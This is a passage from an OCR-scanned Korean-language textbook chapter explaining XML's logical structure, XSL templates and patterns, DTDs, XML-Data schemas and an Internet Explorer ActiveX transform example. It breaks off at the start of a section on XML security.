• XML 은 SGML 과 량립될수 있다. 

• XML 문서 를 처 리하는 프로그람작성 은 쉽다. 

• XML 에서 선택적특성량들은 절대적으로 최소，리상적으로는 0으로 될것 이 다. 

• XML 문서 들은 사람이 읽 기 쉽 고 론리적 으로 명 백하다. 

• XML 설 계 는 고속으로 진행할수 있 다. 

• XML 설계는 형식화할수 있으며 함축화할수 있다. 

• XML 문서 들은 창조하기 쉽다. 

• XML 표식에서 간략화는 최소한의 중요성 이 다. 

다시 말하여 XML 은 인터네 트상에서 비특권적형 식의 정 보를 쉽 게 공유하기위하여 
사용된다. XML 은 지 나치 게 복잡하고 금뜬 SGML 어미 와 그의 사생 아라고 하는 HTML 
자매들에 의해 만들어 지는 오유를 고착시 킨다. XML 은 거의 모든것에 대 하여 임의의 사 
탐이 만들수 있고 임 의의 사람에 의하여 리 용될수 있다. XML 이 해 결한 성 과는 방법 이 
리해 하기 가 쉽 고 사용이 편 리하며 쉽 게 실현 할수 있 다는것 이 다. XML 은 거 의 모든 자료 
를 구조화하고 있다.자료를 어떻게 구조화하겠는가를 배우려면 먼저 자료를 구조화하기 
위해 리용할수 있는 구조에 대 하여 배워 야 한다. 

XML 은 자료들의 정의에서 비트 재귀적이므로 방법 에 따라 일부 혼란이 일어 나지 
만 그의 우점에 영향을 주지 않는다. 아래에 XML 이 어떻게 구조화되는가에 대하여 간 
단히 소개한다. 

1. 론리적구조 

XML 문서의 론리적구조는 그것들의 서로 다른 부문들에 대한 조직 이 다. 그것은 문 
서가 XML 문서와 갈은 자격으로 차례로 구축될수 있는가를 서술하는 설계도이다.론리적 
구조는 문서 가 구성 되 는 내 용에 는 관계 없으나 내 용이 어 떻 게 구조화되 고 내 용이 XML 명 
세 와 일 치 하는가에 관계 된다. XML 문서 를 만드는 세 가지 론리 적 구조는 XML 선언 (XML 
Declaration ) ， 문 서 형 선 언 (Document Type Declaration ) 과 문 서 요 소 (Document 
Element ) 이다.표 8-1 은 매 론리적구조에 대한 실례를 준다. XML 선언은 문서가 그의 
선택에 따라 표준판번호를 정의하는데 응답할수 있다. 문서형선언도 역시 문서가 그의 
선택에 의존하여 정의와 규칙을 설정한다. 다만 한개 문서요소만 존재할수 있으며 그것 
은 문서의 내용에 대한 포함기로 된다 .XML 문서에 XML 선언과 문서형선언을 다 포함하 
는것은 좋은 생각이다. 그것들은 문서를 통하여 변하지 않는 형식을 주며 XML 문서로서 
의 빠른 식 별을 허 용하며 XML Version 2.0 일 때 날자에 대 한 문서를 준비한다. 표준코 
드로서 HTML 과 같은 방법 으로 구조화된 XML 을 보관하는것은 좋은 생각이 다. XML 
문서를 프로그람적 으로 작성할 때 요소들에 차례로 공급하고 왕복하는것 이 더 디게 보이 
더 라도 그것은 사람이 읽기 쉽게 문서를 보관하는데 도움을 준다. 
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표 8-1. _ XML 문서의 론리적구조 


론리적 구조 

XML 실례코드 

XML 선언 

<?xml version=” 1.0” ?> 

문서의 형 선언 

<!DOCTYPE Products SYSTEM 
“Products, dtd” > 

문서의 요소 

〈 Products 〉 

〈 Product 〉 

<ProductID>1001</ProductID> 

<ProductName>BaseballCap 

</ProductName> 

<ProductPrice>12.00</ProductPrice> 
〈 /Product 〉 

</Products> 


사람이 읽을수 있는 문서들은 XML 응용프로그람오유수정을 훨씬 더 쉽게 해준다. 

2. 요소 

HTML 문서와 마찬가지로 XML 문서들은 태그 (tag) 라고 부르는 작은 단위들로 만들 
어 진다. 태 그나 요소들은 문서안에 다른 개념들과 독립적 이거 나 관계 가 있는 개 념들을 
형 식 화하는데 리 용하는 블로크를 만들고 있 다. 요소들이 내 용을 조직하는데 제 공하는 알 
갱 이들은 문서로부터 자료의 추출을 쉽게 해준다. 

요소들은 더 작은 요소로 될수 있는 개념을 정의할수 있다 

<FirstName>Fred</FirstName> 

또한 요소들은 보다 복잡한 개념들을 표현하고 만드는 모임을 통해 함께 묶어 질수 
있 다. 


〈 Customer 〉 

<F irstName>F red</F irstN ame> 
<LastName>Johnson</LastName> 
<Email>f johnsonahotmail. com</Email> 

</Customer> 


매 우 단순하고 복잡한 개 념 들은 다 간결성 과 론리적방법 에서 요소들의 섬세 한 조직 
을 통해 표현될수 있다. 


241 




1) 속성 

요소들안에 자료를 조직하여 놓음으로써 보다 구체적인 설명을 요구하는 요소를 찾 
을수 있다.이것은 아래에 보여 준바와 같이 속성을 리용하여 진행할수 있다. 

〈Customer CustomerID =” 234563” ■> 

< FirstName > Fred </ FirstName > 

< LastName > Johnson </ LastName > 

< Email>f johnsonShotmail . com </ Email > 

</ Customer > 

CustomerlD 는 Customer 의 ID 이 다.이 문서 는 다음과 같이 표현될수도 있 다. 
〈 Customer 〉 

< CustomerID >234563</ CustomerID > 

< FirstName > Fred </ FirstName > 

< LastName > Johnson </ LastName > 

< Email>f johnsonShotmail . com </ Email > 

</ Customer > 


여기서 어느것이 정확한가? 

말하기는 어렵다.그것은 실지로 모형화된 자료와 리용된 문서가 얼마나 되는가에 관 
계 된다.그보다 그것은 문서 의 창조자에 의 존하며 요소중심 인가 아니 면 속성 중심 인가에 
관계된다. 정확한 방법을 요구하는 사람들에게 요소를 리용할 때와 속성을 리용할 때가 
혼돈될수 있으나 이 문제를 해결하는데 도움이 되는 몇가지 내용들을 기억시킬수 있다. 
속성들은 아래의 내용에 리용되지 않는다 

• 그것은 한가지 또는 여 러가지 방법으로 확인되여야 한다. 

• 그것은 명령이다. 

• 그것은 순서화되여야 한다. 

• 그것은 보다 많은 묶음을 요구한다. 

이것들은 속성에 대한 어느 정도 심중한 제한이며 실지 그것들을 리용하기전에 다시 
한번 더 생각해 보아야 한다.요소들은 확인될수 있고 명령으로 될수 있으며 또 순서화될 
수 있고 많이 묶어 질수 있으나 속성들은 묶음화될수 없으며 부분요소들의 추가를 통하 
여 요소를 확장시킬수 있는것과 같은 방법으로 속성을 확장할수는 없다. 확장성은 XML 
의 가장 중요한 측면의 하나이며 언제든지 가능성이 보존될것이다. 


242 




2) 잘 형식화된 문서 


XML 문서 들은 형 식 화된 문서 로 되 기 위하여 일정한 규칙 을 따라야 한다.이 규칙 들 
은 문서안에 포함된 내 용이 나 개 념 들과 관계 되 는것 은 아니 지 만 대 신 자료를 조직 하는데 
리용되는 기초태그들에 관계된다.잘 형식화되였다는것은 모든 요소들이 닫겨 있고 그 요 
소들이 중복되지 않았다는것을 확인하는것과 같은 명세화된 형식화규칙으로 문서가 고착 
되 여 있다는것을 의미한다.형 식화된 문서는 문서의 정의 에 부합되 여 야 하며 즉 한개 또 
는 그이상의 요소를 포함하고 한개의 뿌리요소만을 가지며 임의의 다른 요소들은 적당히 
묶어 져 있어 야 한다. 또한 문서안에서 참조된 모든 해 석 실체(문장론적 으로)들은 문서 에 
서 역시 형식화되여 있어야 한다. 

하나의 XML 문서 는 XML 해 석 자가 문서 를 가지 고 작업할 가능성 이 있도록 하기 위 
하여 형 식 화되 여 야 한다. 만일 문서 가 형 식 화되지 않았다면 해 석 자가 명 백하게 정의해 
주어야 한다. 

3) 확정된 문서 

확정된 문서로서의 자격은 형식화된 문서로서의 자격보다 더 복잡하다.확정된 문서 
들은 형식화된 문서의 규칙에 일치할뿐아니라 문서형선언에서 서술된 규칙을 준수해야 
한다.문서형선언은 자료모형을 일치시키기 위하여 요소들과 속성들사이의 관계를 정의한 
다.문서 형선언이 XML 문서안에 포함될 때 모든 요소들과 속성 들은 그 안에서 정의된 다 
음의 규칙을 따라야 한다. 

XML 은 개 발공동체 를 가진 매우 포괄적 인 언어이므로 수많은 새 로운 개 발방식 에 엄 
격 히 적용되며 단순객체호출규약 (Simple Object Access Protocol : SOAP ) 과 같은 여 
려가지 기술들에서 중추를 이룬다. 그것은 망콤퓨터시대가 다가오는것과 함께 객체지향 
프로그람작성 즉 자료공유가 출현한 때로부터 나타난 문제들에 대하여 좋은 해결방도를 
주고 있다. 자료공유는 많은 사람들의 인기를 끄는 반점구분 ASCII 파일로부터 SGML 과 
갈은 복잡한 언어들에 이르기까지 여러가지 많은 형식으로 련속적으로 발생하고 있다. 
그러면 왜 모든사람들이 자료문제의 해결의 제일 앞선에 XML 을 놓는가? 거의 모든것은 
인터네 트상에서 독립 적 인 실체 들사이 에 자료를 주고 받는 률이 증가되 는것과 관련된다. 
과거 에 대부분의 자료교환은 함께 작업하는 조직들사이 에서만 진행되 였다. 체 계통합과 협 
조의 결과는 사무사업 처 리 를 흐름식 으로 하는데 적 용하는 조직 에 비 해 비 경 제 적 이 였 다. 
따라서 오늘의 응용프로그람봉사공급자 ( ASPs ) 들은 사무처리의 최신 련합체에 무조건적 
으로 련결하는데 초점을 두고 있다.보다 많은 해결이 이루어 지고 보다 많은 사람들이 
참가하고 있는것 이 XML 을 쓰는 좋은 리유로 된다. XML 은 많은 사람들이 사용하면서 
표준화되고 있다. 

XML 은 협 동과 자료교환을 위한 최 신도구이 며 그것 은 특별 히 Web 에 대 해 개 발을 
진행할 때 임의의 다른 방법들에서 리 용될것 이 다.어떤 원인으로 정 보가 두 응용프로그람 
사이에 교환되여 야 한다면 XML 이 리용될것 이 다.지어 응용프로그람안에서 구성요소들사 
이의 통신에도 XML 을 리용할것이다.왜 그런가? 그것은 단순하다.많은 경우에 XML 은 
표준적 인 기호렬을 리용하기때문에 자료를 통과시키는데서 대 단히 효과적 인 구조를 가지 
고 있다. 그러한 단순한 자료구조들은 객체와 갈은 보다 복잡한 구조라도 다른 처 리에 
접근할수 있게 기억기에 복사시킬수 있으며 교차처리를 진행하는 다중공유 ( marshalling ) 
를 요구한다.다중공유는 보다 많은 처 리시 간을 요구하며 매우 금뜨다. XML 은 또한 앞으 
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로 확장하기 가 쉽게 되 여 있다. 기호렬은 현재 창조한 XML 문서 가 사용자와의 량립성을 
정지시키지 않고 다른 응용프로그람을 받아 들이는데 시간을 더 소모할수 있다고 언급하 
지 않는 한 구성 요소대 면부가 임의 로 변하고있는 지 금으로부터 몇년은 그대 로 기 호렬로 
남아 있 을것 이 다. 이 러 한 우점 은 안정 에 대 한 근심 을 없 애 고 필 요한 내 용을 확장할수 있 
는 해석자의 능력을 높여 준다. 

3. XML 과 XSL / DTD 문서 

XML 과 XSL , 문서 형정 의 ( DTDs:Document Type Definitions ) 사이의 관계 를 서 
술하는데서 처음에는 XML 에 자료가 아무것도 없도록 초기화할 필요가 있다. DTD 들은 
XML 문서 들의 다른 실체 를 교체하는데 리용될수 있는 공동구조를 정 의하는 방법 을 준 
다. XSL 은 XML 을 하나의 구조로부터 다른것으로 변환할 때 즉 마지막 결과가 HTML 
이든 XML 이든 자기가 바라는 모든 형태에 대하여서도 서로 차이가 없이 만들 때 쓰는 
도구이 다.자기 의 Web 응용프로그람을 위하여 리 용하는 XML 에 대 한 열 쇠 로써 마지 막문장 
을 다시 읽을것을 요구할수 있다 . XSL 은 다음의 실례에서 XML 을 HTML 에로 변환하는 
데 리용되 는 도구이 다. 

XSL 은 튜링 ( Turing ) 이 완성된 훌륭한 프로그람작성언어 이지만 프로그람작성 에 정 
통한 사용자에 게 도 놀라울 정 도로 직 관적 이 다. XSL 의 두가지 기 본개 념 들은 형 판과 패 턴 
들이 다. 


4. XSL 형판리용 


XSL 형의 표는 표준적으로 한개 또는 그이상의 패런을 포함하는 한개 또는 그이상 
의 형판을 포함한다. 

형판들은 문서의 출구구조를 제공하며 XML 에 전혀 의존하지 않는다. 

< xsl : template xmlns ： xsl = “ uri . xsl ” > 

< HTML > 

< HEAD > 

< TITLE>XSL Output </ TITLE > 

</ HEAD > 

< BODY > 

< P>This along with the HTML is the XSL output . </ P > 

</ BODY > 

</ HTML > 

</ xsl : template 〉 


우에서 알수 있는 바와 같이 이 XSL 형의 표는 하나의 형판을 포함하며 패턴정 합이 
발생 하지 않기때문에 많은 일을 하는것은 아니 다.이 실례는 강한 정적형판이 고 후에 처 
리되며 그의 출구는 매우 단순한 HTML 문서 이 다 . XML 문서안에서부터 이 런 형의 표를 
참조하는것 은 순수한 HTML 출력 결 과로 된 다 . XSL 은 XML 문서안에 포함된 자료를 리 용 
할 때보다 강력한것 으로 된 다. 
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5. XSL 의 패턴리용 

패 런정 합은 어 떤 XSL 형 판들에 어 떤 XML 요소들이 속하는가를 정 의하는데 서 발생 한 
다. 이 기 능을 설명 하기 위 하여 XML 문서 와 XSL 형 표 (style sheet) 에 대 한 다음의 실례 
를 보자.그림 8-1 은 일부 생성정 보를 포함하는 XML 문서 이 다. 


<?xml version= “1.0” > 

〈 Products 〉 

〈 Product 〉 

<ProductID>1001</ProductID> 
<ProductName>Baseball Cap</ProductName> 
<ProductPrice>$12.00</ProductPrice> 
〈 /Product 〉 

〈 Product 〉 

<ProductID>1002</ProductID> 
<ProductName>Tennis Visor</ProductName> 
<ProductPrice>$10.00</ProductPrice> 
〈 /Product 〉 

〈 /Products 〉 


그림 8-1. XML 문서 

그림 8-2 는 HTML 문서를 만드는 XSL 형표이 다. 


<?xml version: “1.0” > 

<xsl：template xmlns ： xsl= “uri.xsl” > 

<HTML> 

<HEAD> 

<TITLE>Product list</TITLE> 

</HEAD> 

<BODY> 

〈TABLE cellpadding= “3” cellspacing= “0” border= “1， 
<xsl : repeat for= “ Products/Product 〉 

<TR> 

<TD> 

<xsl : get-value for= “ ProductName ” > 
</TD> 

<TD> 
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<xsl ： get-value for= “ProductPrice’ 
</TD></TR> 



<TITLE>Product list</TITLE> 
</HEAD> 

<BODY> 


〈TABLE cellpadding= “3” cellspacing= “0” border= “1 


<TR> 

<TD> 

Baseball Cap 



</TD></TR> 

</TABLE> 

</BODY> 

</HTML> 




우에 서 본것 처 럼 HTML 문서 로 자료를 변환하기 위 하여 XML 문서 들과 XSL 형 표의 
결합을 리 용할수 있다.봉사기 에서 실행 시 에 HTML 문서를 작성하는데 보다 많은 노력 이 
드는것처 럼 보인다.그러 나 작업은 많이 하지 만 엄 어 지는 리 익은 매우 가치 있다. 일 반적 
으로 Web 응용프로그람은 HTML 문서대 신 실행시 에 XML 문서를 작성 할수 있다. 

화면으로부터 자료의 분리는 Web 응용프로그람의 표현과 사무봉사에 대한 개발을 
병렬로 할수 있게 한다. 이것도 역시 비트의 부족을 줄이면서 조금씩 Web 개발자들과 
를퍼년트개발자들사이에 충돌을 줄인다.또한 열람기들에 의해 주어 지는 추가적인 기능 
을 유용하게 쓰는데 힘을 넣어 다른 열람기들에 대한 XML 을 서로 다른 문서로 변환하 
기 위하여 서 로 다른 형표을 리용할수 있 다. 


손상과 방위... 


XSL 오유수정 프로그람 

XML 문서와 함께 형표의 호상작용은 복잡한 처리로 될것이며 형표 오유가 자주 
수수께끼처럼 일어 날수 있다. 

Microsoft 는 XSL 실 행 을 통하여 단계 적 으로 리용할수 있는 HTML 에 관한 
XSL 오유수정프로그람을 가진 다. 또한 자체 로 갱 신하기 위하여 원천코드를 볼수 
있 다. 

http ：// msdn . microsoft . com / downloads / samples/internet 
/ xml / sxl _ debugger / default . asp 에서 XSL 오유수정프로그람을 찾을수 있다. 

다음 목록은 Microsoft 의 XML Parser 3.0 을 리용할 때 그안에서 나타날수 있 
는 형표오유통보의 실례를 포함한다. 

해설 : 이름 가진 형 판< template - name 〉 는 형표에 존재 하지 않는다. 

존재하지 않는 이름에 의해 형표을 호출하거나 적용하려고 하고 있다. XML 이 
민감하다는것을 상기해야 한다. 

형표이 존재를 참조에 적용하려고 시도하고 있는가，정확한 단계 인가를 확인하 
여야 한다. 

해설 : 끝 타그 < tag - name 〉는 시 작 타그 < di 打 erent - tag _ name > 와 어울 리지 
않는다. XSL 형표은 잘 형식화되지 않았다. HTML 이 잘 형식화되였는가를 확인하 
고 모든 요소들이 닫기거나 빈타그로서 서술되였는가를 확인한다. 

해설: 문자 <는 속성값에서 리용될수 없다. 표준적으로 이 오유는 요소의 속 
성목록안에 ” 가 빠졌다는 결과를 보여 준다. 


6. DTD 

DTD 들은 XML 문서 들안에 서 리용되 는 자료구조를 정 의하는 방법 이 다. 많은 DTD 개 
념들은 훌륭한 객체지향모형을 가지고 긴밀히 실행되며 거의 모든 자료기지관리자들에게 
는 두번째로 되는 본성적요구로 될것이 다. DTD 들은 XML 문서들의 서로 다른 실체들을 
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교체하는데 리 용될 수 있 는 공통된 구조를 정 의하는 방법 을 준다 .DTD 들을 창조하는것 은 
프로그람대 면부의 창조와 많은 부분이 류사하다.개 발자들은 DTD 에 대 응하는 합법 적 인 
XML 문서들을 가지고 작업할 때 DTD 에서 정의되는 규칙들에 의존한다. DTD 들은 공업 
적，기능적 혹은 자료적특성의 개념들과 관계될수 있는 표준기능들을 제공함으로써 많은 
대규모응용프로그람들과 교차로 공유될수 있는 XML 의 능력을 높혀 준다.실례로 DTD 
는 생산들과 그것들의 유일한 신분，이름，생산가격을 포함하는 생산물목록을 서술하기 
위해 정의될수 있다. 그와 갈은 표준적 인 정의는 DTD 생산목록과 일 치되는 정 보를 공유 
하기 위 한 전 자상거 래 Web 싸이 트에 서 허 락된 다. 이 것 은 리 용，표시 를 위 해 서 Web 싸이 
트를 허가하며 최종적 으로는 다른 Web 싸이트로부터 그것들에 공급되는 생산품들을 판 
매 한다. 

아래에 DTD 의 간단한 실례를 보여 준다. 

<?xml version=” 1.0” > 

<!DOCTYPE Product [ 

<! ELEMENT Product (ProductID, ProductName, ProductPrice)〉 

<! ELEMENT ProductID (#PCDATA)> 

<! ELEMENT ProductName (#PCDATA)> 

<! ELEMENT ProductPrice (#PCDATA)> 

우의 실례는 ProductID, ProductName, ProductPrice 형태의 요소들을 포함하는 
요소로서 구조 Product 를 정의 한다.이것들의 문서형 태정의안에 있는 DTD 우에서 참조하 
는 XML 문서 안의 XML 요소들은 Product 의 정의 에 따라 이루어 져 야 한다. 한개 
Product 요소는 ProductID, ProductName, ProductPrice 요소를 포함하며 그밖에 
XML 문서는 적 합하지 않은것으로 본다. 

DTD 는 XML 이나 XSL 과 같이 간결하고 효과적인것이 못된다. 이것은 DTD 들이 
SGML 보다 오래전에 작성되였기 때문이다. 여러가지 문제들은 DTD 들과 련관된다.무엇 
보다도 자기의 문법 을 리용하여 정 의된 DTD 들이 라는것 을 사전에 통보한다. XML 명세 
에서 정의되는것과 차이나는 문법을 가지고 모든 XML 확인자들과 XML 편집원들은 
XML 해 석 자와 DTD 문법 을 해 석하는 다른 해 석 자가 함께 협 동할것 을 요구한다.파운드기 
호를 가지 고 ProductPrice 가 실수인지 기 호렬인가를 해 석 하기 위한 장소를 남겨 두지 
않는 형태화된 모든 자료에는 DTD 의 요소들이 없다는것을 통보할수 있다. 

이 애매성은 응용프로그람이 기대한것과 다른것을 접수할 때 모순되는 형 식과 조종 
할수 없는 례 외때 문에 호상운영 성문제 로 나타나게 된다. 개 발공동체 는 이 것 들중에 서도 
DTD 의 보류와 함께 존재하는 제 한들，보다 좋은 해 결을 위하여 개 별적 으로 초기 화한 
결과， XML- 자료명세로 되는 마지막결과를 믿고 있다 .Microsoft 회사가 1999년3월에 실 
현한 XML-Data 는 Internet Explorer 5우에서 W3C 에 의존되는 명세 에 기초한다. 다음 
부문에서 이것을 론한다. 

7. 도식 

도식 은 DTD 를 재 배 치 하기 위 한 목적 을 가진 잘 형 식 화된 XML 문서 에 비 하면 아무 
것도 아니다. XML 자료도식은 개발자들이 자기들의 XML 문서들에 자료형을 추가할수 있 
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게하며 열거 나 닫겨 진 모형내 용들을 재정 의할수 있게 한다. DTD 를 리 용할 때 XML 문 
서 로부터 도식 을 참조할수 있고 도식 에서 정의된 강력한 구조를 얻지 만 도식 에 대 한 다 
른 갱 신은 하지 않는다. 

다음에 도식정의를 보기로 하자. 

<?xml version= “1.0” > 

〈Schema name= “Product” xmlns= “urn:schemas-microsoft_com:xm 卜 data” 
xmlns : dt= “urn : schemas-microsoft-com : datatypes "> 

<ElementType name= “ProductlD” content= “textOnly” dt ： type= “ 
string” /> 

<ElementType name= “ProductName” content=extOnly” dt : type= “string 
w /> 

<ElementType name= “ProductPrice” content=textOnlyt” dt : type= “float 
/> 

<ElementType name= “Product” content= “eltOnly” 

〈element type= “ProductID” /> 

〈element type= “ProductName” /> 

〈element type= “ProductPrice” /> 

</ElementType> 

</Schema> 


도식은 잘 형식화된 XML 문서 라는것을 잊지 말아야 한다.이것은 XML 처 리기에 대 
하여 다른 XML 문서 와 꼭같이 도식 을 해 석 하고 시 험하며 관리할수 있게 한다. 그것 은 
문서 형 선언은 아니 지 만 XML 선언을 가진 다. 대 신 문서 의 구조는 도식 요소의 (Scamatic 
Element) 속성으로 정의되는데 이것도 역시 문서요소 (Document Element) 이다. 앞의 
실례에서 도식은 원천 schemas-microsoft-com : xml-data 와 원천 schemas-microsoft — 
com:datatypes 의 령역을 다 리용한다. 

도식들도 역 시 DTD 들로써 구조를 정의할 때 갈은 기능 또는 그 이상의 기 능들을 
준다. 그것들은 다른 요소들안에서 속성과 요소들의 범위를 제 한하게 한다.그것들은 모 
든 내용은 아니고 본문내용만을 또는 부분요소만을 그리고 본문과 부문요소들에 대 해 허 
용하는 요소의 내용을 제한시킨다. 그것들도 역시 요소선언에서 정의되는것으로서 요소 
의 련속적 인 순서를 강조하는것과 하나의 부문요소의 존재를 강조하는것 , 순서를 무시하 
고 존재하는 요소의 순서에서 정의된 모든 부분요소들을 강조할것을 고려하고 임의의 순 
서로 존재하는 요소선언에서 정의되는 어떤 부분요소들의 존재에 대해서도 제한된다.도 
식들은 또한 속성을 정의하는 요소명세화와 그룹량에 대한 의미를 제공하고 자료형을 정 
의하는 기 정 값을 설정하며 요소와 속성 을 다 포함하는 자료형 을 제 공한다. 

도식들은 또한 열 리거 나 닫겨 진 내 용모형 을 제 공할수 있다. 열린 내용모형은 문서 
에 로의 요소의 첨 가를 허 용함으로써 다른것 들에 의한 구조의 확장을 제 공한다.닫겨 진 
내용모형은 훨씬 더 견고하지만 내용의 유연성을 제 한한다.닫겨 지거 나 열려 진 내용모 
형을 리용하는 도식을 정의하는것은 정의된 구조를 리용하려는 계획에 의존한다. 
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제 2 절. XML 을 리용한 Web 응용프로그람만들기 


지금까지는 XML 에 포함된 서로 다른 기초개념들을 확장하였으며 그것들이 어떻게 
구축되고 어떻게 정의할수 있으며 어떻게 변환되는가를 보았다.이제는 실제 설계실례로 
서 그것들을 어떻게 결합할수 있는가를 보자.다음의 코드토막들은 XML 문서를 창조하 
고 XSL 문서 를 리 용하여 말단에 그것을 전송함으로써 HTML 에 정보를 어 떻게 표시하는 
가를 보여 준다. 

먼저 이 실례에서 작업하고 있는 구조를 정의 하자.가장 좋은 방법은 도식을 리용하 
는 구조를 정의하는데 있다 .Web 에서 XML 을 가지 고 작업할 때 당신의 XML 문서를 형 
식화하게 하는 도식을 리용할 필요가 항상 있는것은 아니지만 다른것에 대해 리용할 계 
획을 작성할 때는 이것이 XML 문서를 최소화 하는데서 가장 좋은 방법이다.이것은 또한 
XSL 에 대해 응답할수 있는 Web 개발자들과 XML 에 응답할수 있는 구성요소 개발자들 
이 개 발시 작과 개 발을 병행으로 하게 하는 참조를 제공한다. 그림 8-4 에서 XML 도식은 
생 산품목록을 정 의한다.이 생 산목록은 0 부터 N 사이 의 생 산품을 포함한다. 

생산품은 생산품식별자，생산품 이름，생산기간으로 구성된다. 


<?xml version: “1.0” ?> 

〈Schema name= “Products” xmlns= urn : schemas-microsoft-com : xml-data w 
xmlns : dt= “ urn : schemas - microsoft - com : datatypes ” > 

<ElementType name= “ProductID” content= “textOnly” dt ： type= a string w /> 
<ElementType name= “ProductName” content: “textOnly” dt : type= “ 
string” /> 

<ElementType name= “ProductPrice” content: “textOnly” dt : type= “ 
float” /> 

<ElementType name: “Product” content= “eltOnly” > 

〈element type= “ProductID” /> 

〈element type= “ProductName” /> 

〈element type= “ProductPrice” /> “ 

</ElementT ype> 

<ElementType name= “Products” content: “eltOnly” > 

〈element type= “Product” minOccurs= “0” maxOccurs= /> 
</ElementType> 

</Schema> 


그림 8-4. Products , xml 


정의된것을 가지고 작업하려고 하는 구조이기때문에 기준으로 고착시킬수 있는 
XML 문서 를 작성할수 있 다. 그림 8-5 에 서 우리 는 도식 과 대 조하여 형 식 화된 XML 문서 
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를 간단히 작성할수 있으며 일부 자료와 함께 그것을 등록하였다.이것을 단순한 목적 
에 리용한 실례를 Microsoft Internet Explorer 5.5 가 설치되여 있는 임의의 를퓨 
터 에 서 실 행 할수 있 다. 이 것 은 XML 을 변화시 키 기 위 하여 따로 설 치 하지 않고 의 뢰 기 
에 서 발생하게 한다. 다음에 보는바와 같이 이 XML 문서 는 6개 제 품을 포함하는 생 산 
목록을 가진다. 


<?xml version = “1.0” ?> 

< pd：Products xmlns : pd = “ x - schema : Products , xml ” > 
< pd : Product 〉 

< pd : ProductID >001001</ pd : ProductID > 

< pd : ProductName>Product Name A </ pd : ProductName > 
< pd : ProductPrice >12.00</ pd : ProductPrice > 
</ pd ： Product > 

< pd : Product 〉 

< pd : ProductID >001002</ pd : ProductID > 

< pd : ProductName>Product Name B </ pd : ProductName > 
< pd : ProductPrice >13.00</ pd : ProductPrice > 
</ pd ： Product > 

< pd : Product 〉 

< pd : ProductID >001003</ pd : ProductID 〉 

< pd : ProductName>Product Name C </ pd : ProductName > 
< pd : ProductPrice >15.00</ pd : ProductPrice > 
</ pd ： Product > 

< pd : Product 〉 

< pd : ProductID >001004</ pd : ProductID > 

< pd : ProductName>Product Name D </ pd : ProductName > 
< pd : ProductPrice >18.00</ pd : ProductPrice > 
</ pd ： Product > 

< pd : Product 〉 

< pd : ProductID >001005</ pd : ProductID > 

< pd : ProductName>Product Name E </ pd : ProductName > 
< pd : ProductPrice >20.00</ pd : ProductPrice > 
</ pd ： Product > 

< pd ： Product > 

< pd : ProductID >001006</ pd : ProductID > 

< pd : ProductName>Product Name F</pd ： ProductName > 
< pd : ProductPrice >25.00</ pd : ProductPrice > 
</ pd ： Product > 

</ pd : Products 〉 


그림 8-5. Products - data . xml 
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다시 도식 이 정의된후 Web 개 발자는 HTML 안에서 XML 문서를 변환하는 XSL 문서 
에서 작업 을 시 작할것 이 다. 도식의 자료구조에 대 하여 모든 사람의 의 견이 일 치한다. 형 
표은 자료의 구조우에서만 독립 이며 자료 그자체는 중요하지 않다.그림 8-6 에서 작업판 
은 앞에 서 본 도식 에 고착시 킨 XML 문서 에 기 초한 표를 창조한다.이 작업판은 일부 
HTML 뿐아니 라 완전한 HTML 문서를 창조하지 않는다는것을 통보한다. 이 리유는 변환 
의 출구결과가 이 미 존재 하는 HTML 문서안에서 혼합되 여 있기때 문이 다. XSL 변환의 출 
구가 다른 구조의 또 다른 XML 문서를 포함하여 임의의것으로 될수 있다는것을 기억해 
야 한다. 


<?xml version : “1.0” ?> 

< xsl : template xmlns : xsl = “ uri : xsl ” > 

< h 3 〉Product Listing </ h 3>< br /> 

〈table cellspacing = “0” cellpadding = “10” border = “1” > 
< tr > 

< td >< b>Product ID </ b ></ td > 

< td 〉< b〉Product Name </ b ></ td > 

< td >< b > Price </ b ></ tdx / tr > 

< xsl ： for-each select : a pd : Products / pd : Product w > 

< tr > 

< td >< xsl : value-of select : “ pd : ProductID ” /></ td > 

< td >< xsl : value-of select : “ pd : ProductName ” /></ td > 
< td >$< xsl : value-of select = “ pd : ProductPrice ” /></ td > 
</ tr > 

</ xsl:for - each 〉 

〈/ table 〉 

</ xsl : template 〉 


그림 8-6. Products , xsl 


다시 강조하지 만 우리 는 XSL 변환을 수행할것 을 요구하는 코드를 가져 야 한다. 코드 
는 그림 8-7 에서 설명 한바와 같이 다음의 HTML 문서의 창문 적재사건에 포함된다.이것 
은 앞에서 설명한 XML 문서 와 XSL 형 표을 다 호출할것 이며 다음에 XSL 형 표을 리 용하여 
XML 문서 를 변환한다.변환결과는 < div > 태 그안에 표시 된다. 


< html > 

< head > 

< title>Product Listing </ title > 
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〈script language : “ javascript ” for = “ window ” event : “ onload ” > 
var source = new ActiveXObject ( “ Microsoft . XMLDOM ” ); 
source , load ( “ products - data , xml ” ); 

var style = new ActiveXObject ( “ Microsoft . XMLDOM ” ) ； 
style , load ( “ products , xsl ” ) ； 

document , all . item ( “ display ” ). inner HTML = 
source . transformNode ( style . documentElement ); 
c / script 〉 
c / head 〉 

< body > 

<div id = “ display ” ></ div > 

</ body > 

</ html > 


그림 8-7. Products , html 
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그림 8-8. HTML 결과 

동일한 등록부에서 이 모든 과일이 지적되며 HTML 파일이 열려 질 때 그림 8-8 에 
보여 준 출구를 볼수 있다. 
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제 3 절. XML 리용과 관련한 위험 


XML 과 XSL 은 강력한 도구이 므로 잘 리용하면 자료와 표현을 분리하여 보존하기 
쉬운 Web 응용프로그람을 창조할수 있다. 계 획을 잘 작성하면 사용자는 응용프로그람을 
재 리 용하고 XML 과 XSL 을 리 용하여 기 능적 인 열쇠측면들을 구분함으로써 필요한 코드 
량을 줄일수 있다.또 응용프로그람안에서 구성요소들이 통신할수 있는 방법을 변화시켜 
나가면서 XML 은 실체 들이 인터네 트상에서 통신하는 방법 을 변화시 킬수 있다. 

XML 과 XSL 은 표준적 으로 열린다. 이 것은 이 표준도구가 매우 대중적 으로 쓰이는 
하나의 리유로 된 다. 수많은 XML 도식 들은 공업 또는 사무와 관련된 정 보를 표준화하려 
는 조직 에 의 하여 발표되 고 있다. 이것은 앞으로 사무처 리자동화，공동협조의 확대，인터 
네 트상에 서 새 로운 사무련합으로 통합을 쉽 게 진행하려 는데 목적 이 있 다 . XML 이 보다 
널리 보급되여 가면서 사무들과 조직들사이의 정보들이 부단히 변화되는것을 보게 될것 
이다. 어디서나 보안설계와 구조는 변환시에 그 어떤 정보도 류실되지 않게 하는 열쇠이 
다.이 절 은 XML 암호화와 수자식 수표명 세 를 리해 하고 리 용하기 위한 기 초를 제 공한다. 

기밀성개념 

자료를 보호하는데서 가장 좋은 방법 은 그것 을 로출시키 지 않으며 인터네 트상에서 
